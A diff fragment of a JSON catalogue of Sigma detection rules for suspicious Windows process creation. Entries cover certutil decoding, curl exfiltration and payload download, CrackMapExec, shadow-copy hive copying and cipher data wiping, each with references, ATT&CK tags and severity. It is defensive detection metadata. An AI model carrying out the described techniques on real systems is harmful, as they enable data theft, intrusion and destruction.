"logsource.product": "windows" - } - }, - { - "description": "Detects a suspicious Microsoft certutil execution with sub commands like 'decode' sub command, which is sometimes used to decode malicious code", - "uuid": "e011a729-98a6-4139-b5c4-bf6f6dd8239a", - "value": "Suspicious Certutil Command Usage", - "meta": { - "refs": [ - "https://twitter.com/JohnLaTwC/status/835149808817991680", - "https://blogs.technet.microsoft.com/pki/2006/11/30/basic-crl-checking-with-certutil/", - "https://www.trustedsec.com/2017/07/new-tool-release-nps_payload/", - "https://twitter.com/egre55/status/1087685529016193025", - "https://lolbas-project.github.io/lolbas/Binaries/Certutil/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_certutil_command.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1140", - "attack.command_and_control", - "attack.t1105", - "attack.s0160", - "attack.g0007", - "attack.g0010", - "attack.g0045", - "attack.g0049", - "attack.g0075", - "attack.g0096" - ], - "creation_date": "2019/01/16", - "filename": "proc_creation_win_susp_certutil_command.yml", - "author": "Florian Roth, juju4, keepwatch", - "level": "high", - "falsepositive": [ - "False positives depend on scripts and administrative tools used in the monitored environment" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects suspicious a certutil command that used to encode files, which is sometimes used for data exfiltration", - "uuid": "e62a9f0c-ca1e-46b2-85d5-a6da77f86d1a", - "value": "Certutil Encode", - "meta": { - "refs": [ - "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/certutil", - "https://unit42.paloaltonetworks.com/new-babyshark-malware-targets-u-s-national-security-think-tanks/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_certutil_encode.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1027" - ], - "creation_date": "2019/02/24", - "filename": "proc_creation_win_susp_certutil_encode.yml", - "author": "Florian Roth, Jonhnathan Ribeiro, oscd.community", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit.", - "uuid": "e0552b19-5a83-4222-b141-b36184bb8d79", - "value": "Obfuscated Command Line Using Special Unicode Characters", - "meta": { - "refs": [ - "https://www.wietzebeukema.nl/blog/windows-command-line-obfuscation", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1027/T1027.md#atomic-test-6---dlp-evasion-via-sensitive-data-in-vba-macro-over-http", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_char_in_cmd.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1027" - ], - "creation_date": "2022/01/15", - "filename": "proc_creation_win_susp_char_in_cmd.yml", - "author": "frack113", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detection of child processes spawned with SYSTEM privileges by parents with LOCAL SERVICE or NETWORK SERVICE accounts", - "uuid": "590a5f4c-6c8c-4f10-8307-89afe9453a9d", - "value": "Suspicious Child Process Created as System", - "meta": { - "refs": [ - "https://speakerdeck.com/heirhabarov/hunting-for-privilege-escalation-in-windows-environment", - "https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/", - "https://github.com/antonioCoco/RogueWinRM", - "https://twitter.com/Cyb3rWard0g/status/1453123054243024897", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_child_process_as_system_.yml" - ], - "tags": [ - "attack.privilege_escalation", - "attack.t1134.002" - ], - "creation_date": "2019/10/26", - "filename": "proc_creation_win_susp_child_process_as_system_.yml", - "author": "Teymur Kheirkhabarov, Roberto Rodriguez (@Cyb3rWard0g), Open Threat Research (OTR)", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Adversaries may destroy data and files on specific systems or in large numbers on a network to interrupt availability to systems, services, and network resources.\nData destruction is likely to render stored data irrecoverable by forensic techniques through overwriting files or data on local and remote drives\n", - "uuid": "4b046706-5789-4673-b111-66f25fe99534", - "value": "Overwrite Deleted Data with Cipher", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1485/T1485.md#atomic-test-3---overwrite-deleted-data-on-c-drive", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_cipher.yml" - ], - "tags": [ - "attack.impact", - "attack.t1485" - ], - "creation_date": "2021/12/26", - "filename": "proc_creation_win_susp_cipher.yml", - "author": "frack113", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects suspicious process that use escape characters", - "uuid": "f0cdd048-82dc-4f7a-8a7a-b87a52b6d0fd", - "value": "Suspicious Commandline Escape", - "meta": { - "refs": [ - "https://twitter.com/vysecurity/status/885545634958385153", - "https://twitter.com/Hexacorn/status/885553465417756673", - "https://twitter.com/Hexacorn/status/885570278637678592", - "https://www.fireeye.com/blog/threat-research/2017/06/obfuscation-in-the-wild.html", - "http://www.windowsinspired.com/understanding-the-command-line-string-and-arguments-received-by-a-windows-program/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_cli_escape.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1140" - ], - "creation_date": "2018/12/11", - "filename": "proc_creation_win_susp_cli_escape.yml", - "author": "juju4", - "level": "low", - "falsepositive": [ - "False positives depend on scripts and administrative tools used in the monitored environment" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects usage of a CLSID folder name located in a suspicious location from the commandline as seen being used in IcedID", - "uuid": "90b63c33-2b97-4631-a011-ceb0f47b77c3", - "value": "Suspicious CLSID Folder Name In Suspicious Locations", - "meta": { - "refs": [ - "https://twitter.com/Kostastsale/status/1565257924204986369", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_clsid_foldername.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1027" - ], - "creation_date": "2022/09/01", - "filename": "proc_creation_win_susp_clsid_foldername.yml", - "author": "Nasreddine Bencherchali", - "level": "medium", - "falsepositive": [ - "Some FP is expected with some installers" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects suspicious command execution (cmd) via Windows Management Instrumentation (WMI) on a remote host. This could be indicative of adversary lateral movement.", - "uuid": "e31f89f7-36fb-4697-8ab6-48823708353b", - "value": "Suspicious Cmd Execution via WMI", - "meta": { - "refs": [ - "https://www.elastic.co/guide/en/security/current/suspicious-cmd-execution-via-wmi.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_cmd_exectution_via_wmi.yml" - ], - "tags": [ - "attack.execution", - "attack.t1047" - ], - "creation_date": "2022/09/27", - "filename": "proc_creation_win_susp_cmd_exectution_via_wmi.yml", - "author": "Tim Rauch", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects a suspicious command line execution that includes an URL and AppData string in the command line parameters as used by several droppers (js/vbs > powershell)", - "uuid": "1ac8666b-046f-4201-8aba-1951aaec03a3", - "value": "Command Line Execution with Suspicious URL and AppData Strings", - "meta": { - "refs": [ - "https://www.hybrid-analysis.com/sample/3a1f01206684410dbe8f1900bbeaaa543adfcd07368ba646b499fa5274b9edf6?environmentId=100", - "https://www.hybrid-analysis.com/sample/f16c729aad5c74f19784a24257236a8bbe27f7cdc4a89806031ec7f1bebbd475?environmentId=100", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_cmd_http_appdata.yml" - ], - "tags": [ - "attack.execution", - "attack.t1059.003", - "attack.t1059.001", - "attack.command_and_control", - "attack.t1105" - ], - "creation_date": "2019/01/16", - "filename": "proc_creation_win_susp_cmd_http_appdata.yml", - "author": "Florian Roth, Jonhnathan Ribeiro, oscd.community", - "level": "medium", - "falsepositive": [ - "High" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects a copy execution that targets a shadow copy (sometimes used to copy registry hives that are in use)", - "uuid": "c73124a7-3e89-44a3-bdc1-25fe4df754b1", - "value": "Copy from Volume Shadow Copy", - "meta": { - "refs": [ - "https://twitter.com/vxunderground/status/1423336151860002816?s=20", - "https://www.virustotal.com/gui/file/03e9b8c2e86d6db450e5eceec057d7e369ee2389b9daecaf06331a95410aa5f8/detection", - "https://pentestlab.blog/2018/07/04/dumping-domain-password-hashes/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_cmd_shadowcopy_access.yml" - ], - "tags": [ - "attack.impact", - "attack.t1490" - ], - "creation_date": "2021/08/09", - "filename": "proc_creation_win_susp_cmd_shadowcopy_access.yml", - "author": "Max Altgelt, Tobias Michalski", - "level": "medium", - "falsepositive": [ - "Some rare backup scenarios" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects use of chcp to look up the system locale value as part of host discovery", - "uuid": "7090adee-82e2-4269-bd59-80691e7c6338", - "value": "CHCP CodePage Locale Lookup", - "meta": { - "refs": [ - "https://thedfirreport.com/2022/04/04/stolen-images-campaign-ends-in-conti-ransomware/", - "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/chcp", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_codepage_lookup.yml" - ], - "tags": [ - "attack.discovery", - "attack.t1614.001" - ], - "creation_date": "2022/02/21", - "filename": "proc_creation_win_susp_codepage_lookup.yml", - "author": "_pete_0, TheDFIRReport", - "level": "high", - "falsepositive": [ - "During Anaconda update the 'conda.exe' process will eventually launch the command described in the detection section" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects a code page switch in command line or batch scripts to a rare language", - "uuid": "c7942406-33dd-4377-a564-0f62db0593a3", - "value": "Suspicious Code Page Switch", - "meta": { - "refs": [ - "https://docs.microsoft.com/en-us/windows/win32/intl/code-page-identifiers", - "https://twitter.com/cglyer/status/1183756892952248325", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_codepage_switch.yml" - ], - "tags": [ - "attack.t1036", - "attack.defense_evasion" - ], - "creation_date": "2019/10/14", - "filename": "proc_creation_win_susp_codepage_switch.yml", - "author": "Florian Roth, Jonhnathan Ribeiro, oscd.community", - "level": "medium", - "falsepositive": [ - "Administrative activity (adjust code pages according to your organisation's region)" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects suspicious Unicode characters in the command line, which could be a sign of obfuscation or defense evasion", - "uuid": "2c0d2d7b-30d6-4d14-9751-7b9113042ab9", - "value": "Suspicious Characters in CommandLine", - "meta": { - "refs": [ - "https://www.wietzebeukema.nl/blog/windows-command-line-obfuscation", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_commandline_chars.yml" - ], - "tags": "No established tags", - "creation_date": "2022/04/27", - "filename": "proc_creation_win_susp_commandline_chars.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects suspicious command line arguments of common data compression tools", - "uuid": "27a72a60-7e5e-47b1-9d17-909c9abafdcd", - "value": "Suspicious Compression Tool Parameters", - "meta": { - "refs": [ - "https://twitter.com/SBousseaden/status/1184067445612535811", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_compression_params.yml" - ], - "tags": [ - "attack.collection", - "attack.t1560.001" - ], - "creation_date": "2019/10/15", - "filename": "proc_creation_win_susp_compression_params.yml", - "author": "Florian Roth, Samir Bousseaden", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects the conhost execution as parent process. Can be used to evaded defense mechanism.", - "uuid": "7dc2dedd-7603-461a-bc13-15803d132355", - "value": "Conhost Parent Process Executions", - "meta": { - "refs": [ - "http://www.hexacorn.com/blog/2020/05/25/how-to-con-your-host/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_conhost.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1202" - ], - "creation_date": "2020/10/25", - "filename": "proc_creation_win_susp_conhost.yml", - "author": "omkar72", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "ForceV1 asks for information directly from the kernel space. Conhost connects to the console application", - "uuid": "3037d961-21e9-4732-b27a-637bcc7bf539", - "value": "Suspicious Conhost Legacy Option", - "meta": { - "refs": [ - "https://cybercryptosec.medium.com/covid-19-cyber-infection-c615ead7c29", - "https://thedfirreport.com/2022/04/04/stolen-images-campaign-ends-in-conti-ransomware/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_conhost_option.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1202" - ], - "creation_date": "2022/04/04", - "filename": "proc_creation_win_susp_conhost_option.yml", - "author": "frack113", - "level": "informational", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects a suspicious process pattern found in CVE-2021-40444 exploitation", - "uuid": "894397c6-da03-425c-a589-3d09e7d1f750", - "value": "CVE-2021-40444 Process Pattern", - "meta": { - "refs": [ - "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-40444", - "https://twitter.com/neonprimetime/status/1435584010202255375", - "https://www.joesandbox.com/analysis/476188/1/iochtml", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_control_cve_2021_40444.yml" - ], - "tags": [ - "attack.execution", - "attack.t1059" - ], - "creation_date": "2021/09/08", - "filename": "proc_creation_win_susp_control_cve_2021_40444.yml", - "author": "@neonprimetime, Florian Roth", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects suspicious Rundll32 execution from control.exe as used by Equation Group and Exploit Kits", - "uuid": "d7eb979b-c2b5-4a6f-a3a7-c87ce6763819", - "value": "Suspicious Control Panel DLL Load", - "meta": { - "refs": [ - "https://twitter.com/rikvduijn/status/853251879320662017", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_control_dll_load.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1218.011" - ], - "creation_date": "2017/04/15", - "filename": "proc_creation_win_susp_control_dll_load.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects a suspicious copy command to or from an Admin share or remote", - "uuid": "855bc8b5-2ae8-402e-a9ed-b889e6df1900", - "value": "Copy from Admin Share", - "meta": { - "refs": [ - "https://twitter.com/SBousseaden/status/1211636381086339073", - "https://drive.google.com/file/d/1lKya3_mLnR3UQuCoiYruO3qgu052_iS_/view", - "https://www.elastic.co/guide/en/security/current/remote-file-copy-to-a-hidden-share.html", - "https://www.microsoft.com/en-us/security/blog/2022/10/18/defenders-beware-a-case-for-post-ransomware-investigations/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_copy_lateral_movement.yml" - ], - "tags": [ - "attack.lateral_movement", - "attack.collection", - "attack.exfiltration", - "attack.t1039", - "attack.t1048", - "attack.t1021.002" - ], - "creation_date": "2019/12/30", - "filename": "proc_creation_win_susp_copy_lateral_movement.yml", - "author": "Florian Roth, oscd.community, Teymur Kheirkhabarov @HeirhabarovT, Zach Stanford @svch0st, Nasreddine Bencherchali", - "level": "high", - "falsepositive": [ - "Administrative scripts" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects a suspicious copy operation that tries to copy a program from a system (System32 or SysWOW64) directory to another on disk.\nOften used to move LOLBINs such as 'certutil' or 'desktopimgdownldr' to a different location with a different name in order to bypass detections based on locations\n", - "uuid": "fff9d2b7-e11c-4a69-93d3-40ef66189767", - "value": "Suspicious Copy From or To System32", - "meta": { - "refs": [ - "https://www.hybrid-analysis.com/sample/8da5b75b6380a41eee3a399c43dfe0d99eeefaa1fd21027a07b1ecaa4cd96fdd?environmentId=120", - "https://web.archive.org/web/20180331144337/https://www.fireeye.com/blog/threat-research/2018/03/sanny-malware-delivery-method-updated-in-recently-observed-attacks.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_copy_system32.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1036.003" - ], - "creation_date": "2020/07/03", - "filename": "proc_creation_win_susp_copy_system32.yml", - "author": "Florian Roth, Markus Neis, Tim Shelton (HAWK.IO), Nasreddine Bencherchali (update)", - "level": "medium", - "falsepositive": [ - "Depend on scripts and administrative tools used in the monitored environment (For example an admin scripts like https://www.itexperience.net/sccm-batch-files-and-32-bits-processes-on-64-bits-os/)", - "When cmd.exe and xcopy.exe are called directly", - "When the command contains the keywords but not in the correct order" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects suspicious command lines used in Covenant luanchers", - "uuid": "c260b6db-48ba-4b4a-a76f-2f67644e99d2", - "value": "Covenant Launcher Indicators", - "meta": { - "refs": [ - "https://posts.specterops.io/covenant-v0-5-eee0507b85ba", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_covenant.yml" - ], - "tags": [ - "attack.execution", - "attack.defense_evasion", - "attack.t1059.001", - "attack.t1564.003" - ], - "creation_date": "2020/06/04", - "filename": "proc_creation_win_susp_covenant.yml", - "author": "Florian Roth, Jonhnathan Ribeiro, oscd.community", - "level": "high", - "falsepositive": "No established falsepositives", - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detect various execution methods of the CrackMapExec pentesting framework", - "uuid": "058f4380-962d-40a5-afce-50207d36d7e2", - "value": "CrackMapExec Command Execution", - "meta": { - "refs": [ - "https://github.com/byt3bl33d3r/CrackMapExec", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_crackmapexec_execution.yml" - ], - "tags": [ - "attack.execution", - "attack.t1047", - "attack.t1053", - "attack.t1059.003", - "attack.t1059.001", - "attack.s0106" - ], - "creation_date": "2020/05/22", - "filename": "proc_creation_win_susp_crackmapexec_execution.yml", - "author": "Thomas Patzke", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "This rule detect common flag combinations used by CrackMapExec in order to detect its use even if the binary has been replaced.", - "uuid": "42a993dd-bb3e-48c8-b372-4d6684c4106c", - "value": "CrackMapExec Command Line Flags", - "meta": { - "refs": [ - "https://mpgn.gitbook.io/crackmapexec/smb-protocol/authentication/checking-credentials-local", - "https://www.mandiant.com/resources/telegram-malware-iranian-espionage", - "https://www.infosecmatter.com/crackmapexec-module-library/?cmem=mssql-mimikatz", - "https://www.infosecmatter.com/crackmapexec-module-library/?cmem=smb-pe_inject", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_crackmapexec_flags.yml" - ], - "tags": "No established tags", - "creation_date": "2022/02/25", - "filename": "proc_creation_win_susp_crackmapexec_flags.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "The CrachMapExec pentesting framework implements a PowerShell obfuscation with some static strings detected by this rule.", - "uuid": "6f8b3439-a203-45dc-a88b-abf57ea15ccf", - "value": "CrackMapExec PowerShell Obfuscation", - "meta": { - "refs": [ - "https://github.com/byt3bl33d3r/CrackMapExec", - "https://github.com/byt3bl33d3r/CrackMapExec/blob/0a49f75347b625e81ee6aa8c33d3970b5515ea9e/cme/helpers/powershell.py#L242", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_crackmapexec_powershell_obfuscation.yml" - ], - "tags": [ - "attack.execution", - "attack.t1059.001", - "attack.defense_evasion", - "attack.t1027.005" - ], - "creation_date": "2020/05/22", - "filename": "proc_creation_win_susp_crackmapexec_powershell_obfuscation.yml", - "author": "Thomas Patzke", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects a suspicious parent of csc.exe, which could by a sign of payload delivery", - "uuid": "b730a276-6b63-41b8-bcf8-55930c8fc6ee", - "value": "Suspicious Parent of Csc.exe", - "meta": { - "refs": [ - "https://twitter.com/SBousseaden/status/1094924091256176641", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_csc.yml" - ], - "tags": [ - "attack.execution", - "attack.t1059.005", - "attack.t1059.007", - "attack.defense_evasion", - "attack.t1218.005", - "attack.t1027.004" - ], - "creation_date": "2019/02/11", - "filename": "proc_creation_win_susp_csc.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Adversaries may abuse Visual Basic (VB) for execution", - "uuid": "23250293-eed5-4c39-b57a-841c8933a57d", - "value": "Cscript Visual Basic Script Execution", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1059.005/T1059.005.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_cscript_vbs.yml" - ], - "tags": [ - "attack.execution", - "attack.t1059.005" - ], - "creation_date": "2022/01/02", - "filename": "proc_creation_win_susp_cscript_vbs.yml", - "author": "frack113", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects a suspicious execution of csc.exe, which uses a source in a suspicious folder (e.g. AppData)", - "uuid": "dcaa3f04-70c3-427a-80b4-b870d73c94c4", - "value": "Suspicious Csc.exe Source File Folder", - "meta": { - "refs": [ - "https://securityboulevard.com/2019/08/agent-tesla-evading-edr-by-removing-api-hooks/", - "https://www.clearskysec.com/wp-content/uploads/2018/11/MuddyWater-Operations-in-Lebanon-and-Oman.pdf", - "https://app.any.run/tasks/c6993447-d1d8-414e-b856-675325e5aa09/", - "https://twitter.com/gN3mes1s/status/1206874118282448897", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_csc_folder.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1027.004" - ], - "creation_date": "2019/08/24", - "filename": "proc_creation_win_susp_csc_folder.yml", - "author": "Florian Roth", - "level": "medium", - "falsepositive": [ - "Legitimate software from program files - https://twitter.com/gN3mes1s/status/1206874118282448897", - "Legitimate Microsoft software - https://twitter.com/gabriele_pippi/status/1206907900268072962" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects the use of the lesser known remote execution tool named CsExec (a PsExec alternative)", - "uuid": "d08a2711-ee8b-4323-bdec-b7d85e892b31", - "value": "CsExec Remote Execution Tool Usage", - "meta": { - "refs": [ - "https://github.com/malcomvetter/CSExec", - "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_csexec.yml" - ], - "tags": [ - "attack.resource_development", - "attack.t1587.001", - "attack.execution", - "attack.t1569.002" - ], - "creation_date": "2022/08/22", - "filename": "proc_creation_win_susp_csexec.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Csi.exe is a signed binary from Microsoft that comes with Visual Studio and provides C# interactive capabilities. It can be used to run C# code from a file passed as a parameter in command line. Early version of this utility provided with Microsoft \u201cRoslyn\u201d Community Technology Preview was named 'rcsi.exe'", - "uuid": "40b95d31-1afc-469e-8d34-9a3a667d058e", - "value": "Suspicious Csi.exe Usage", - "meta": { - "refs": [ - "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Csi/", - "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Rcsi/", - "https://enigma0x3.net/2016/11/21/bypassing-application-whitelisting-by-using-rcsi-exe/", - "https://twitter.com/Z3Jpa29z/status/1317545798981324801", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_csi.yml" - ], - "tags": [ - "attack.execution", - "attack.t1072", - "attack.defense_evasion", - "attack.t1218" - ], - "creation_date": "2020/10/17", - "filename": "proc_creation_win_susp_csi.yml", - "author": "Konstantin Grishchenko, oscd.community", - "level": "medium", - "falsepositive": [ - "Legitimate usage by software developers" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects a suspicious curl process start on Windows and outputs the requested document to a local file", - "uuid": "e218595b-bbe7-4ee5-8a96-f32a24ad3468", - "value": "Suspicious Curl Usage on Windows", - "meta": { - "refs": [ - "https://twitter.com/max_mal_/status/1542461200797163522", - "https://web.archive.org/web/20200128160046/https://twitter.com/reegun21/status/1222093798009790464", - "https://github.com/pr0xylife/Qakbot/blob/4f0795d79dabee5bc9dd69f17a626b48852e7869/Qakbot_AA_23.06.2022.txt", - "https://www.volexity.com/blog/2022/07/28/sharptongue-deploys-clever-mail-stealing-browser-extension-sharpext/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_curl_download.yml" - ], - "tags": [ - "attack.command_and_control", - "attack.t1105" - ], - "creation_date": "2020/07/03", - "filename": "proc_creation_win_susp_curl_download.yml", - "author": "Florian Roth, Nasreddine Bencherchali (updated)", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects a suspicious curl process start the adds a file to a web request", - "uuid": "00bca14a-df4e-4649-9054-3f2aa676bc04", - "value": "Suspicious Curl File Upload", - "meta": { - "refs": [ - "https://twitter.com/d1r4c/status/1279042657508081664", - "https://medium.com/@petehouston/upload-files-with-curl-93064dcccc76", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1105/T1105.md#atomic-test-19---curl-upload-file", - "https://curl.se/docs/manpage.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_curl_fileupload.yml" - ], - "tags": [ - "attack.exfiltration", - "attack.t1567", - "attack.t1105" - ], - "creation_date": "2020/07/03", - "filename": "proc_creation_win_susp_curl_fileupload.yml", - "author": "Florian Roth", - "level": "medium", - "falsepositive": [ - "Scripts created by developers and admins" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Adversaries can use curl to download payloads remotely and execute them. Curl is included by default in Windows 10 build 17063 and later.", - "uuid": "21dd6d38-2b18-4453-9404-a0fe4a0cc288", - "value": "Curl Start Combination", - "meta": { - "refs": [ - "https://medium.com/@reegun/curl-exe-is-the-new-rundll32-exe-lolbin-3f79c5f35983", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_curl_start_combo.yml" - ], - "tags": [ - "attack.execution", - "attack.t1218", - "attack.command_and_control", - "attack.t1105" - ], - "creation_date": "2020/01/13", - "filename": "proc_creation_win_susp_curl_start_combo.yml", - "author": "Sreeman, Nasreddine Bencherchali", - "level": "high", - "falsepositive": [ - "Administrative scripts (installers)" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects a suspicious curl process start on Windows with set useragent options", - "uuid": "3286d37a-00fd-41c2-a624-a672dcd34e60", - "value": "Suspicious Curl Change User Agents", - "meta": { - "refs": [ - "https://curl.se/docs/manpage.html", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1071.001/T1071.001.md#atomic-test-2---malicious-user-agents---cmd", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_curl_useragent.yml" - ], - "tags": [ - "attack.command_and_control", - "attack.t1071.001" - ], - "creation_date": "2022/01/23", - "filename": "proc_creation_win_susp_curl_useragent.yml", - "author": "frack113", - "level": "medium", - "falsepositive": [ - "Scripts created by developers and admins", - "Administrative activity" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects suspicious process injection using ZOHO's dctask64.exe", - "uuid": "6345b048-8441-43a7-9bed-541133633d7a", - "value": "ZOHO Dctask64 Process Injection", - "meta": { - "refs": [ - "https://twitter.com/gN3mes1s/status/1222088214581825540", - "https://twitter.com/gN3mes1s/status/1222095963789111296", - "https://twitter.com/gN3mes1s/status/1222095371175911424", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_dctask64_proc_inject.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1055.001" - ], - "creation_date": "2020/01/28", - "filename": "proc_creation_win_susp_dctask64_proc_inject.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Unknown yet" - ], - "logsource.category": "process_creation", - 